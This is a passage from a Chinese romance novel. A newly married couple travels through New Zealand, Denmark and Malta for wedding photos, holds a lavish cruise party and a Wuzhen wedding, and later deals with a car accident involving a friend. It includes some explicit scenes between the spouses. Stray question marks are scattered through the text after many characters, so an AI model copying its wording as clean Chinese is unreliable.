事实?证明,所有的?潮流都会过?时?。 南惜不喜欢赶潮流,简单而经典,才能?历久不衰。 某种程度上,她和池靳予有点像。 “那就贴你的?照片吧。”男人稍一低头,唇瓣印在?她前额,“不着急,慢慢儿选,也许后面会拍出更喜欢的?。” “对啊,我们还要去?丹麦。”南惜贴着他下巴仰起头,满脸期待,“有童话世界。” “嗯。” “马耳他有什么好?玩的??”最后一站有点陌生,南惜没怎么听过?。 她在?美国念大学,对欧洲国家了解不深。 “那是地中海的?一个小国家,只?有三个岛屿组成,可?以看到地球上最纯净的?蓝色海水,还有那里的?建筑风格,像油画一样,你应该会喜欢。” 看不见贝加尔湖的?蓝冰,就带她来看最漂亮的?海水蓝。 她好?像领会到他的?意图,猝不及防,眼眶热起来。 窗外映着波光粼粼的?湖面,山巅的?白雪也被阳光照射得熠熠发光,是只?属于大自然的?原始色彩。 置身其中,好?像隔绝了整个世界的?喧嚣,只?剩下他们两人。 池靳予看着她被阳光笼罩的?半张脸,白里透着粉,她好?像很容易脸红,年轻女孩的?皮肤迎着光还能?看见细小绒毛。 昨天在?蒂卡波约翰山脚下,他也从这个角度看过?她。 那会儿正好?飞过?去?一只?信天翁,摄影师说那是爱情鸟,一生只?认定一个伴侣,忠贞不二。 他记得当时?,怀中女孩似乎是下意识地,幽幽地说了一句:“但人不会。” 同样的?阳光洒在?屋内,他又想起那句话,手指轻轻撩开她耳侧垂落的?几根发丝,低声问?:“惜惜,你相信信天翁吗?” 女孩抬起眸,茫然的?光坠进他眼中。 他望着她,一字一顿:“我是说,你还相信爱情吗?” 第42章 第 42 章 南惜不知道他?为什么要这样问, 许是他?的目光太真诚,让她把那一瞬心?脏悸动的感觉,差点错认为动心?。 她从一片混乱的大脑中奋力抽出一丁点理智, 把自己?牢牢包裹。 “我只相信看得见, 摸得着,能亲手掌握的东西。”南惜把双手摊开在腿上, 垂眸弯唇,眼神平淡地看着,“婚姻法不保护爱情,没有?任何法律为爱情撑腰,所有?伤害爱情的行为, 都?没有?成本。” 这是池昭明教会她的。 享受一个女孩真诚的信任和?喜欢,享受她付出的整个青春,然后?毫无心?理负担地背叛。 有?道德污点又怎样?被千夫所指又怎样?他?不会真的被钉在耻辱柱上,像坐过牢的人那样有?一个永远的档案污点,伴随他?一生。 很快, 这个无情的世界就会忘掉他?曾经做过什么,伤害过谁, 发过的誓道过的歉全都?是狗屁。 她相信一世忠诚的信天翁,但无法再?信任人心?。 有?时候人有?心?, 其实是一件悲哀的事,当一只鸟多好。 池靳予望着她过分冷静的模样, 眼底夹着沉痛,嗓音艰涩:“惜惜, 也?许爱情不是虚无缥缈的, 你试一试,也?许握得住。” “谁知道呢。”南惜轻笑一声, 手指抓了抓空气,“我不想?过得那么复杂,也?不愿意想?那么多,开心?就好啦。” “好。”他?握住她手,一根根扣紧,压着极低的气声,笑容勉强却无限纵容,“开心?就好。” 让南惜开心?,其实是很容易的一件事。 她轻易就能被哄开心?。 下午,他?陪她去给?姐妹们买纪念品,看到有?一整条街可以逛,就兴奋得边跑边跳。 她的阈值很低,总给?人一种单纯好骗的错觉,好像对一切都?不设防。 但池靳予知道,她只是很宝贵自己?的情绪,不愿意被无关紧要的东西打扰她快乐。 她有?底线,就像池昭明那晚荒唐,触碰到她的底线,就会毫不留情被割舍。 她留给?他?的机会和?尊严,是横在他?们上空的一把刀。随时手起刀落,不再?有?藕断丝连的可能。 “这个好不好?”南惜拽拽他?,“池靳予,你来摸摸这个毯子。” 他?走过去,从她手里?接过,手指搓揉感受了一下:“正宗的新西兰羊毛,不会出错,选颜色素净些的。” “噢。”南惜笑了笑,一边念叨一边挑选,“祁书艾要米白色的,乔安安要驼色,薛嬗要斑马条纹……宜琳姐不要这个,还?有?……” 池靳予扶着购物车,好奇她脑子里?居然能记得每个人要什么,都?不用看备忘录。 这种人情类的东西他?一向不记,也?或许是因为他?没什么朋友。 他?看着她的目光更?加深邃了些。 南惜叫来一个服务员,用娴熟的美式英语问:“请问一下,kiwi鸟玩偶在哪里??还?有?你们很火的那个猪皮零食。” 服务员热情地帮她指路,还?向她推荐皇后?镇旅游必带的冰箱贴,和?一个本土护肤品品牌。 南惜跟人聊着聊着就走了,全然忘记身后?还?有?个帮忙推购物车的老公。 池靳予无奈地笑着跟上。 最后?除了给?朋友们带的伴手礼,南惜还?选了一大堆冰箱贴,并且加上了店里?一个中国员工的微信。 她效率太快,池靳予甚至没发现她是什么时候跟那人接上头的。 中文英语无缝切换,还?带了许多他?听不懂的词——奇奇怪怪的,似乎还?有?毛利语,应该是这些纪念品的专有?名词。 中国小姐姐帮她买单,看向她身后?推购物车的男人,挤了挤眼睛:“好帅啊,你男朋友?” 池靳予第一次插上话:“是老公。” “太幸福了。”小姐姐把东西打包好,直接递给?池靳予,“祝你们旅途愉快哦,需要什么微信我,都?可以给?你寄。那套洗护一定要试试,超好闻的!” “嗯,谢谢啦。” 走出店,池靳予侧过头认真地问她:“什么好闻?” “她推荐的一款沐浴露,本土牌子。” “那今晚试试。” “……” 他?堂而皇之地凑到她耳边:“给?我闻。” 众目睽睽,人来人往,南惜用力掐了一把他?的腰,然后?被他?整个人搂住。 女孩的娇嗔和?男人低沉爽朗的笑,久久回?荡在维多利亚风格的异国街头。 买完纪念品,私人飞机直接开往丹麦。 南惜在飞机上睡着的,到哥本哈根时也?没有?醒,池靳予直接抱她进酒店。 第二天又是童话风拍摄,南惜也?准备了四套衣服,上午一套,下午两套,晚上拍夜景再?换一套。 童话大师笔下的小木屋,彩色花朵点缀了木框窗台,也?飘落在层层叠叠的头纱之上。 女孩低眉垂眼,他?温柔地为她戴上花环。 花环是池靳予亲手编的,她一直带到阿美琳堡宫,搭配她的粉色纱裙。 古堡森严,她却笑得比花朵还?灿烂,仰头吻上穿白西装的男人。 街头的黄色巴士入镜,他?们手牵着手说笑,摄影师随手咔一张,满意留存。 管风琴教堂是婚纱照主场,南惜换了法式风白色婚纱,抹胸设计,修身纤长?,没有?蓬蓬的裙摆,只有?鱼尾上星星点点的珍珠和?钻石,光泽灵动。 午后的教堂色彩柔和,哥特式长?廊立柱,红砖堆砌的旋转楼梯,独一无二的绝美穹顶,都?留下两个人浪漫的记忆。 晚上,南惜穿了红色丝缎吊带裙,左肩带上,是池靳予亲手为她别上的玫瑰花。 头发没有?多余装饰,蓬松慵懒地随着新港码头的晚风飘逸。 酒吧和?咖啡馆混合的香气萦绕鼻尖,还?有?随夜色席卷而来的咸湿海风。 路过小美人鱼铜像,南惜让他?为她们合照。 背靠大海,拥抱她短暂相信的童话世界。 女孩张开的手臂和?五指,飞扬的裙摆和?秀发,无声勾挠着他?的心?。 池靳予放下相机,走过去,将她柔若无骨的身躯捞入怀中,低头深吻。 她主动环住他?脖颈,仰着头,吹动的发丝和?裙摆温柔地包裹住他?。 酒吧歌手唱着不知名的西语哥,轻懒悠扬的音调,空灵,飘忽,如?那一瞬间?难以捕捉的心?动。 当晚,南惜用了新沐浴露小样。池靳予将她摁在被窝,问里?面是不是加了料。 她昏昏沉沉,无意识用力揪着枕头,嗓音轻颤:“什么?” 他?没说那两个字,只是哑声告诉她:“有?一种合香,叫春宵百媚香。” “回?家我们试试。” 南惜紧咬着唇,用被子蒙住脸。 月光透过木质窗框,碎珠般撒了一地,女孩娇柔的嗓音也?像散落的珍珠,断断续续,夹着哭腔。 “池靳予……” “嗯?” “你不睡觉吗?” “先哄你睡。” 哪有?这样哄的啊! 第二天早上,南惜不负众望顶了对浮肿的眼睛。 好在他?们启程去最后?一站,没有?拍摄,池靳予给?她找了个墨镜戴着。 上飞机后?,再?一次呼呼大睡。 这一觉养足了精神,晚上到马耳他?,南惜激动地去走街窜巷。 这个面积还?不如?港岛大的小岛国,果然像池靳予说的一样,是无比浪漫的油画风格。 长?年被海风侵蚀的房屋略显陈旧,但五彩斑斓的窗户让视觉惊艳,沿着步步爬升的台阶两旁无限延伸的居民区,有?种沧桑的,耐人寻味的故事感。 当地人有?说英语,也?有?一些听不懂的语言。池靳予告诉她,马耳他?母语源远流长?,可以追溯到古老的迦太基语。但后?来这里?被阿拉伯人占领,才慢慢掺入了阿拉伯语的成分。 而现在英语普及率很高,过来旅游,也?没有?什么语言障碍。 婚纱照拍得差不多,来这边主要是旅游,加上一些日常随意的旅拍。 节奏彻底慢了下来。 他?带她去看了全世界最蓝的海水,乘着小船,在那片蓝色中享受地中海午后?的阳光。小船开进?悬崖下的海中洞穴,记录下各种五彩斑斓的蓝色。 傍晚,坐在街边的彩色椅子上,池靳予为她开了瓶酒。 向下延伸的台阶一直到海边,海水和?天空被染成晚霞一样的色彩。 南惜托着腮,品尝这种口味新奇的酒,突然抬眸问他?:“这是当地的酒吗?味道好特别。” “不是,从皇后?镇带来的。”他?修长?指骨端着酒杯,侧脸也?是晚霞映出的颜色。 南惜睁大了眼睛。 这人居然偷偷从皇后?镇带了酒,她完全不知道。看着男人云淡风轻的表情,南惜嘟嘴娇嗔。 池靳予无奈笑了一声。 她自己?可以有?秘密,但他?瞒着她做小动作,她就要生气。 这样的飞扬跋扈不讲道理,他?却很受用,一丝宠溺从嘴角顿生。 “这酒,产自新西兰的一种葡萄。”他?与她碰了碰杯,娓娓道来,“原产地在法国卢瓦尔河谷,但后?来,新西兰也?成了主要种植地。” “这种葡萄果香丰富,酿成酒有?种独特的酸味。” 南惜兴致勃勃又抿了一口:“好像还?有?苹果味。” “嗯。” 她忍不住喝了很多,细品这杯酒层次丰富的口感,眨眼问:“这酒叫什么?” 男人望向她,慢悠悠说了个陌生词汇:“Sauvignon Blanc.” 暮色四合,带着凉意的海风迎面飘来,混杂着酒香窜入鼻,她好像瞬间?有?点醉。 男人灿若繁星的眼,让周围灯光都?黯然失色。 南惜痴痴望着,心?脏无法抑制地失衡。 终于在某一刻,心?跳如?海浪撞击礁石的力道,撞晕了她的大脑。 是身边人骤然靠近,情话耳语般的嗓音,低沉缠绵: “中文有?个很美的名字,叫长?相思。” 第43章 第 43 章 无数个瞬间, 南惜觉得?他们之间的氛围变得?无法用言语解释,甚至有种荒诞的错觉——会不会,他爱她? 可?心底一个理?智清晰的声音告诉她, 不要当真, 不要沉沦,不要过分解读, 自我攻陷。 所以她只是?一如?既往地朝他笑:“名字也很好听。” “是?。”他似乎原本也没指望什么,唇角弧度依旧温柔,只是?望着她的目光更为浓郁,“和?今天的月色很配。” 南惜抬起杯子,轻轻和?他的碰了碰:“谢谢。” “谢什么?” “谢谢你让我这?些天, 很开心。”她十分真诚地望着他。 池靳予低头,用满口酒香封住她唇。 良久,才贴着她额头睁开眼睛:“我会一直让你开心,不要再说谢。” 心潮涌动,她喉咙哽了哽, 低声:“嗯。” 他握住她手,温热的掌纹紧紧相贴:“今晚还有个开心的节目。” 南惜眼皮微颤:“什么?” 他的唇轻轻印在她额头:“换身衣服, 带你去。” 衣服不是?她带的,原先也没有准备这?时候再换。 回到?酒店, 池靳予打开衣帽间,原本空荡荡的中央过道, 赫然挂着一件浅紫色晚礼服。 轻薄的蛋糕形设计,既有层次又?不嫌臃肿, 裙身依旧是?她的喜好, 星星点点缀着亮片。 吊带和?前襟整整两条,以及玲珑纤细的腰线, 均由切割成心形的钻石无缝排列而成。 “怎么又?是?吊带?”南惜佯装抱怨地努了努嘴。 男人从身后覆上:“要听实话吗?” “要。” 耳朵被轻啄了一口:“因?为方便。” “……” 南惜换上礼服,简单补了一个妆,搭配上耳环便出了门。 原本还想挑项链,池靳予说她的吊带和?前襟都很闪,不需要项链。 商务车把他们带到?海边。当看到?远处的大邮轮时,南惜隐约有了丝预感。 下车到?码头,邮轮上景象终于映入眼帘。 那?里一片灯火通明,宛如?盛典,热闹的笑声和?欢快的歌曲,点缀了这?个岛屿祥和?的夜晚。 南惜挽着他胳膊向?前走,呆呆望着,嗓音被海风吹得?缥缈:“这?是?做什么?” 他放缓脚步,走上台阶,亲自弯腰提起她稍长的裙摆。像个周到?的绅士,为他唯一的公主服务。 “谢幕仪式,或者说,是?新的开始。” 走上邮轮,所有目光都跟随他们而动。惊羡,祝福,笑容和?掌声,和?海面上的皓月繁星一起落在身上。 瞬间她有种荒唐的感觉,这?艘邮轮,或许承载了整个马耳他岛的居民。 穿过万众瞩目的甲板,在宫殿般豪华的大礼堂,池靳予握着她的手,和?她跳了一支开场舞。 舞曲是?他在皇后镇的蒸汽船上唱给她听过的,《A thousand years》。 她在网上查到?,这?首歌是?一部经典电影中男女主角的婚礼曲目,背后是?吸血鬼与少女缠绵悱恻的爱情故事。 她很意外?,他这?样的人也会看爱情故事。 舞会在主角的预热后真正开始。 “你真的把所有人都请来了吗?”南惜看着对?面黑漆漆的海岛城市,只有零星点点的路灯。 但?在他们置身的露台之下,大礼堂和?甲板上,全都是?欢快舞动的人们。 男人搂着她腰,呼吸落在她香气馥郁的头顶:“愿意来的都来了。” 哪能不愿意? 比泰坦尼克还要豪华的大邮轮,免费提供米其林级别的晚餐和?夜宵,取之不尽的美食美酒,这?是?对?许多人来说,或许一辈子仅有一次的奢华体验。 而他就这?么不计成本地邀请了一整个海岛的外?国居民,只为让她站在这?里,享受这?满眼的热闹? 南惜不知道自己该做何表情。 她看不懂他。 只觉得?此刻从身后抱着她的男人,或许能和?烽火戏诸侯的周幽王交流一下昏君心得?。 “开心就好,不要多想。”他搂紧她的腰,嗓音温柔,“看那?边。” 南惜抬眼看向?漆黑的城市,刹那?间,万家灯火次第?亮起来。 她的心脏跟着每一簇灯光颤动。 一个城市,不,一个国家的夜晚为她而点亮。 这?个偏安一隅的海岛小国,或许从来没这?么疯狂过。 一朵又?一朵烟花窜上夜空,也只是?给这?场全民盛典,添上不轻不重的一笔色彩。 脖颈贴上一抹冰凉。 南惜从烟花璀璨中分神,低下头,忽然被那颗水滴形紫色钻石闪了眼睛。 她抬手摸了摸,是?温热的,不知在他兜里被捂了多久。 南惜抿唇笑起来。 不让她戴项链,原来是悄悄准备了礼物。 “喜欢吗?”扣好后,重新搂住她腰身。 是?她最中意的颜色,她眼眶微热地点点头。 男人呼吸渐渐往下,有意地,在路过的每一寸燃起火苗,最后烧至她耳边。 “老婆。” 南惜攥紧了手指:“嗯……” 他轻轻掰过她脸,四目相对?,唇瓣相贴,每一个字都很认真:“今晚我要。” 她颤抖着垂下目光,不自觉咬紧的唇,很快被他用呼吸顶开。 沁凉海风不知疲倦地吹过,却无法给这?片空气降温。 她知道,今晚不会再降下来。 双脚离地悬空,整个世?界天旋地转,男人用胳膊推开的舱门又?被他用后背关上。 奢华的顶层卧室没有开灯,只有海面上的蓝色月光,带着凉意洒在玫瑰花铺成的软褥。 继而照亮女孩雪白的肌理?,乌黑散乱的长发,攥紧被单的手指,濛濛的眼和?粉调的脸颊。 她娇气地抱怨他沉,池靳予将她转过来,她靠在他身上,轻盈的体重让他来承担。 粼粼闪闪的紫色轻纱和?一小片丝绸都被无情扔开,她失措地缩了缩肩膀,听见他哄:“坐起来。” 她按着他肩膀,艰难地把自己撑起来。 要这?样吗? 她有点害怕,眼神带着求助。 池靳予握着她腰,往身前带了带:“不是?那?儿,过来。” 过……哪里? 她脑中晃过什么,看着他精致贵气,不染尘俗的脸,没敢确认那?个荒诞的想法。 男人含笑望着她惊诧的眼神,温柔肯定:“嗯,过来我这?儿。” 许是?月色误人,海浪声侵袭了理?智,让她胆大到?令自己难以相信。她缓缓地往前挪去,一串丝线被寒光照得?晶莹剔透,沿着他衬衫门襟,最后被他用温柔的呼吸接住。 绛红指甲深深地嵌入真皮软包。 她再也听不到?海浪拍打礁石的声音,月光不见了,黑夜也不见了,脑海中烟花璀璨,五彩斑斓,最后仿佛陷入一个空白的世?界,什么都没有,只剩她坐在柔软又?温热的海水之上,孤立无援。 她绝望得?哭起来,哭了很久很久,声嘶力竭,直到?有人抱起她,轻轻拍着她的背安抚她,用最温柔的语气哄:“乖乖,别哭。” 南惜睁眼看见他目光,浓到?化不开的墨色将她吞噬,她察觉到?什么,不敢出声。 安抚的呼吸从额头到?眼睫,到?鼻尖,落在双唇,另一边浅浅试探,更像一种预告。 顷刻,他把自己的肩送到?她唇边。 她眼中水花弥漫,张口咬下。 紫色钻石被汗水浇灌,浸湿,却愈加璀璨夺目。 楼下衣香鬓影,笙歌不断。 银白月光铺满沉寂的海面,浪随风起,一层漫过一层。被海浪拍打了一夜的礁石,终于迎来熹微的晨光。 * 南惜是?在空中醒来的。 睁开眼,早已不是?那?间奢华船舱,是?无比熟悉的陈设,她已经在返回国内的私人飞机上。 此前记忆一片空白,停止在混沌迷乱之间。 单人沙发里看书的男人听见动静,坐过来:“醒了?” “嗯。”她脑子还迟钝着,一翻身,牵动腰以下所有骨头散架似的疼。 眼眶一下就红了,控诉的目光抬起,咬唇盯向?那?人。 池靳予笑了笑,对?她的指责照单全收。 昨晚他的确失控了些。 “还难受吗?”手指穿进她头发,力道轻柔地安抚,“怕你太累就没叫醒你,直接登机了。你可?以再睡。” “我是?猪吗我还睡?”她嗓音又?娇又?烦,“我饿了。” 他俯身亲她:“想吃什么?” “凤梨酥焗大虾松鼠鱼金箔冰淇淋。”她一口气说了一堆这?里不可?能有的。 池靳予看着她耍脾气的娇纵神色,宠溺失笑,捏捏她鼻头:“乖,凤梨和?虾饺好不好?冰淇淋只有普通的,要什么口味?” “随便。”她拒绝交流,卷着被子翻过身去,又?吃痛哼了一声。 太不公平了。 为什么那?种事对?男人没一点影响?只有她,半死?不活地瘫在这?里,连腰都直不起来。 池靳予让空姐拿餐食过来,喂她吃了。 吃完她还是?气不过,嘟哝道:“不公平。” 池靳予正用湿巾擦手,笑着回头:“什么不公平?” 南惜上下打量他:“你真的不累吗?” 他又?不是?机器,装个马达就能一直动,就算是?机器马达,工作一整夜也得?休息吧? 何况是?那?样的频率和?强度。 他怎么能容光焕发,不见一丝疲惫? 男人探究地看她几秒,领会到?她脑子里的小心思,笑了笑,脱下外?衣外?裤,作势要掀被。 南惜脑门一嗡,警铃大响:“干嘛?你走开——走……” 她没能阻止他躺进来。 甚至没出息地,再次落进他怀里。 “我也很累,需要休息。”迎上她半信半疑的目光,池靳予顿了顿,煞有介事:“我也疼。” 南惜视线往下落,感觉他在扯淡:“你疼什么?” “看哪儿呢?”他笑了笑,“我是?说背上疼,昨晚一只小野猫挠的。” “……你才野猫。” 她就多余问这?句话。 池靳予笑了笑,手伸进被窝。 腰被他按摩得?很舒服。 场面一下子温馨下来,南惜舒服地躺在他怀里,想起昨晚一些细节。 她莫名心尖一颤,抬头看他:“池靳予。” “嗯?”他连一个单音节都温柔。 她手臂环过他腰,掌心柔柔地贴在他背后:“你这?里……为什么那?么多疤?” 第44章 第 44 章 他手上动作并?没受影响, 南惜还是察觉到他情绪的波动,藏在?那双色泽微沉的眼中。 没等到回答,她猜到一种极大的可能:“是……你爸爸?” 那些疤纵横交错, 类似鞭笞或棍棒的痕迹。 “别胡思乱想。”他云淡风轻地勾着唇, 仿佛满身伤痕的不?是自己,眼神反而在?安慰她, “小?时候一场意?外而已。” 南惜心口像被狠狠地一刺,轻微哽声:“疼吗?” 男人目光浓郁,手掌握紧她的腰。 南惜不?知道?为什么,总觉得他透过?她,看得很远很远, 有?种回溯时光的错觉。 可当?他开口时,那种奇异的错觉如烟消散: “太久了,不?记得了。” 隔着衬衫,感受不?到那些凹凸不?平,她好像明白为什么, 之前无论多?亲密,他都没在?她面前脱过?衣服。 除了昨晚, 情浓失控,什么都让她看光了。 “吓到你了?”他表情认真地问?。 她摇头。 男人亲了她一口:“害怕就别看, 不?喜欢也?别看。” 南惜眼眶热了热,捶他, 急切地想否认什么,嘴唇却?只能笨拙地咬住, 抗议, 恼恨思绪卡壳的自己。 他没再说?话,只是把她的头放到胸口, 继续按摩她酸疼的腰和腿,手指温柔而绅士,不?该碰的地方一点没碰。 南惜舒服得困意?袭来。 半梦半醒,迷糊间,软软地唤他:“池靳予。” “嗯?”一道?缱绻气声。 “我没有?害怕,也?没不?喜欢……” 她只是,有?点心疼。 第一次心疼男人,这种情绪太陌生,以?至于她不?知所措,难以?分辨。 但还是理?清了。 她心疼那时被伤害的他,也?心疼如今在?她面前小?心翼翼,不?愿袒露伤口的他。 “不?要觉得难看。”她抱紧他的背,“真的,一点都不?难看。” “你是很好很好的人。”嗓音变得越来越轻,像云雾一般往上飘,“无论如何你都很好。” 浓烈的情绪在?他眼底汹涌,似乎下一秒就要喷薄而出。 他无法再冷静地继续,手指离开她腰侧,握着虚空攥紧,闭上眼,无声地自我消化。 过?了很久很久,才重新睁开,眼底浓郁的墨色只剩下薄薄一层,低声唤她名字:“惜惜。” “嗯……”女?孩的回应轻柔缥缈,像梦呓。 他几不?可闻地叹了一声:“你这样,不?怕我爱上你?” 温热呼吸熨烫他心口,如丝缕一般均匀,无声。 男人自嘲地牵了牵嘴角,垂下的目光却?温柔,在?她头顶落下一个不?惊扰的吻。 * 私人飞机直接到浙江,他们下榻在?乌镇附近的一个江南风小?院。 拍摄的婚服,是聘礼中那套专为她而定制的宋制婚服,提前三天用专机从北京运过?来,再由专人打理?好,等着拍摄当?天使用。 这还是南惜第一次见到这件衣服,下聘那天只听祁书艾激动地说?过?,后来就和所有?聘礼一块儿运回龙湖了。 没想到实物比她在?古装剧里看 见的还要华丽,震撼,满身金绣和珍珠。 她的婚服是红色里裙和外披,墨绿色广袖。而他的是红色圆领长衫,胸口绣盘龙,也?有?与她呼应的许多?珍珠。 旁边桌上放着真金和珐琅打造的凤冠,池靳予小?心地拿起来,似乎才意?识到问?题:“会不?会太重?” “会。”南惜“噗呲”笑了,“你做个假的就好了呀,也?就拍照戴一次。” 男人语气很认真:“我怎么能给你戴假的?” 珍珠是真的,金子也?是真的,手工织就的宋锦,料真价实。 哪怕只拍照用一次,他也?不?会给她用假货。 她吸了吸鼻子,心里只剩下感动,主动仰起头。 他温柔地接住她唇。 设在?水榭的卧室,三面环湖,竹床周围层层叠叠梦幻的浅绿色纱幔。 交叠的人影掩在?纱幔中,一只脚时不?时探出帐外,皮肤太细腻,太过?紧绷,露出雪白肌理?下青色的血管。涂着火龙果?色猫眼甲油的脚趾蜷到极致,摩擦着床沿轻晃,泛出粼粼如水波的光泽。 帐内音浪迭起,嫣红指尖紧扣着男人后背尚未愈合的那片痕迹,暗红血痂被划开,又添了一道?道?新的浅红色。 …… 第二天,贯穿乌镇的整条河道?被包下。 装饰华美的乌篷船船头,是大红喜袍的俊朗新郎,和他珠翠华服,明艳动人的新娘。 游客们纷纷围观起哄,祝福这场陌生人的婚礼。 穿过?石拱桥,粉色花瓣缤纷如雨,温柔地落了全身,她清澈明亮的笑容也落在他眼中。 码头候着的仪仗队,男男女?女?,都穿着宋制汉服翘首迎接。 他们在?簇拥中下船,拉着牵巾,并?肩入户,拜堂,红色绣球垂在中央轻轻地摇晃。 偶尔对视一眼,仿佛盛着万千情意?,像浪漫话本里终成眷属的才子佳人。 她想要的只是婚纱照,他却?送给她一场盛大的水乡婚礼。 * 回京后,正式婚期临近,很多?东西要开始准备。为了方便,南惜暂时住回龙湖山庄。 池靳予有?空便过?来龙湖看一看她,但他太忙,见面的机会还是很少。 最近她有?点恹恹。 祁书艾休息,带了她最爱的茶饼过?来玩,南惜吃几口就放下,说?不?如以?前的好吃。 “我觉得没区别啊,一模一样的。”祁书艾认真品了品,“你味觉出毛病了吧。” “不?知道?。”南惜盘腿窝在?懒人沙发里,惆怅地耷拉着脑袋,“可能我自己出毛病了。” 祁书艾挑眉:“什么症状?说?来听听。” “没有?精神,心里空空的,什么都不?想干,什么都不?好吃。”南惜苦恼地抠着美甲上的小?钻石,“这是不?是传说?中的婚前焦虑啊?” “你这不?太像焦虑。”祁书艾一脸认真,“更像相思病。” “……什么东西。”南惜瞪了她一眼。 “你是不?是喜欢上他了?最近见不?到他所以?没精神?” “胡说?。” “妹夫那么帅,又对你好,喜欢他不?是很正常?”祁书艾觉得顺理?成章,“这样的男人,女?人一般都扛不?住。” 南惜眨眨眼:“我一般吗?” “……”祁书艾嘴角一抽,“是,您可不?一般,公主殿下。” 南惜确实有?点想他,这点她必须坦然。 但想念可以?是因为习惯,可以?是依赖,也?可以?是别的。 甚至单纯地,只是想和他睡觉。 地中海邮轮上那晚,乌镇水榭那晚,体验感都不?错。 后来她不?止一次回想起网上那句话—— 会很爽。 事实证明,天赋是不?会被轻易浪费的。除了时间太久,一切都堪称完美。 大白天想得她一阵燥热,南惜深呼吸冷静了下,决定出门。 和祁书艾去?做spa按摩,头发护理?,几乎全套流程,除了美甲。 她还没选好婚甲款式。 躺在?spa床上眯了一觉,醒来,给池靳予发微信:【在?忙吗?】 池先生:【不?忙,在?候机。】 南惜眼一亮:【要回北京啦?】 他这两天在?青岛出差。 池先生:【嗯,十分钟后登机,怎么了?】 南惜:【快帮我选选!】 她发过?去?十几张美甲图片。 那边过?了很久,似乎认真看完每一张,才回复:【一定要这么长?】 南惜:【长的好看呀!】 池先生:【嗯,夫人喜欢就好。】 南惜皱皱眉:【你不?喜欢?】 池先生:【喜欢。】 【不?过?我背上还没好。】 【没关?系,婚礼前能好。】 南惜想起那两天她指甲挠出的血印:【……】 【还疼吗?】 池先生:【不?疼。】 【你还疼吗?】 南惜咬了咬唇。总觉得他在?暗示什么,但没有?证据。 空气里流动着暧昧,谁都没说?话。 现在?好像说?什么都没用。 安静十几秒过?后:【好了,我登机了。】 他引用了其中一张她发的图片:【这款不?错,个人意?见,你可以?考虑。】 南惜笑着把那张挑出来,单独发给美甲师。 早早吃过?晚餐,祁书艾送她回家。 红灯最后几秒没赶上,车停在?斑马线前,祁书艾端起咖啡嘬了口:“四个伴娘,我,三姐,安安,宜琳姐不?当?,你得在?薛嬗裴锦姗和顾月满中间再选一个。可千万别选薛嬗啊,她处处想压你风头。” 南惜满不?在?乎地撇了撇唇,看手机:“她能压得了再说?。” “妹夫的伴郎选好了吗?我看他朋友少,肯定不?会让池昭明凑数的,除了那个又吵又渣的薄慎还有?谁?” “亦铭哥好像打算帮他忙,他俩认识,实在?要缺人,四哥和南禹辰借他好了。” 祁书艾忍不?住笑出声:“他混得可真惨,伴郎都要问?你借。” “无所谓啦,正常。” 红灯转绿,拉风的F5本该第一个冲出去?,旁边一辆改装过?的马自达,里面坐着个染黄毛的小?伙子,挑衅地瞥了她们一眼,比祁书艾的超跑先冒出个头。 祁书艾哪能让他得逞,一脚油门,百米加速瞬间展现出顶级超跑的优越。 马自达也?拼命踩油门。 还没过?十字路口,两辆车已经较劲几个回合。 祁书艾见怪不?怪,对付这种人游刃有?余,眼看就要到对街,马自达突然一脚急刹。 祁书艾看向他前面,果?然一辆电动车瞎了眼似的快速横穿。 她也?赶紧踩下刹车。 紧接着,南惜感觉到车子一震。 “……被追尾了?” “我去?看看。”祁书艾叮嘱她,“你别下车。” “好。” 正好池靳予发微信过?来,问?她今晚在?不?在?家,南惜低头回消息。 祁书艾下车一看,她的车尾被撞瘪,而后面那辆迈巴赫,前保险杠水灵灵地裂了。 人民币碰人民币,下场都很惨。 这是她最心爱的F5,还没满俩月,她深吸了一口气,才忍住没泼妇骂街,望向对方车主:“您怎么说??” “小?姐,您那脚急刹也?太急了。”穿西服的中年大叔急得额头都冒了汗。 祁书艾见他这样,就知道?是个司机,问?:“你老板呢?” 大叔看向路边,那儿站着个个高腿长的西装男,一股子精英味儿。 背对着他们打完电话,才走过?来。 祁书艾嘴角一抽。还真是冤家路窄。 薄慎也?许不?认得她,但他那些好事儿她清楚得很,平生最看不?上这种流连花丛的公子哥,而且订婚那天,他在?邻桌真的好吵。 祁书艾毫不?掩饰鄙夷的目光:“追尾全责,您报保险吧。” “这位小?姐,您在?十字路口跟人飙车,导致后车追尾。”薄慎居高临下望着她,顿了顿,“等警察过?来,谁的责任还不?好说?。” “要不?是您离我太近会这样吗?开车没有?常识吗?”祁书艾指了指旁边车道?,“是那辆电动车突然窜出来,别人怎么没追尾,就您追尾了?” 薄慎看一眼后面混乱的车流,因为这里车祸,大家都在?纷纷变道?。 他凉飕飕扯了下唇:“堵一条道?还不?够?” “你——” “我赶着去?开会,没时间跟您掰扯。”薄慎抬手看了看表,对司机说?,“你留在?这儿等警察和保险,按规矩处理?,有?事儿打我电话。” 司机一脸苦笑:“……好的。” 走之前,薄慎留下一句:“大小?姐,车技不?好可以?请个司机,以?后千万别飙车,最好就别上路,害人害己,耽误事儿。” 南惜和池靳予打着电话,见这么久祁书艾没回来,不?放心下去?看看。 只看见薄慎匆匆钻入出租车的背影。 “什么情况?”她问?。 “那个又吵又渣的。”祁书艾撇了撇唇,眼刀射向那辆远去?的出租车,咬牙切齿。 “薄慎?” “哼。”祁书艾牙都快咬碎了。 交警鉴定完毕,事故责任最终五五分,双方合计了下,各自修各自的车,薄慎那边报保险,赔她一对车灯的修理?费用。 车没法再开了,都拉回4S店定损,池靳予从机场直接来接人。 没有?司机,他亲自开的库里南过?来。 祁书艾坐在?后座。 她依旧恨得牙痒痒,见到池靳予,忍不?住向他吐槽:“妹夫,您那位朋友真能个儿啊。” 池靳予已经知道?和她撞车的是薄慎,皱了皱眉:“他怎么了?您说?。” “不?仅撞我车,还讽刺我,好牛的口气。” 池靳予二话不?说?拨了个电话。 几秒后,车里响起薄慎的声音:“喂?” 池靳予:“你撞了我表姐的车?还讽刺人家?” 薄慎一愣:“你哪儿冒出来的表姐?” “夫人的表姐。” “……” 池靳予淡淡地兴师问?罪:“你说?说?,怎么着吧。” 薄慎:“她急刹车。” “你讽刺人。” 薄慎无奈笑了:“哥,我赶着去?开会突然整这出,我不?能急吗?ok,我确实态度不?好,麻烦你替我跟她道?个歉。” “人在?我车上,你自己说?。” “……” 薄慎这含着金汤匙长大的二世祖,什么时候跟人低过?头? 池靳予了解他:“说?不?出口?那请人吃个饭。” “你听听你在?讲什么?我出钱给她修车灯还要请她吃饭?” 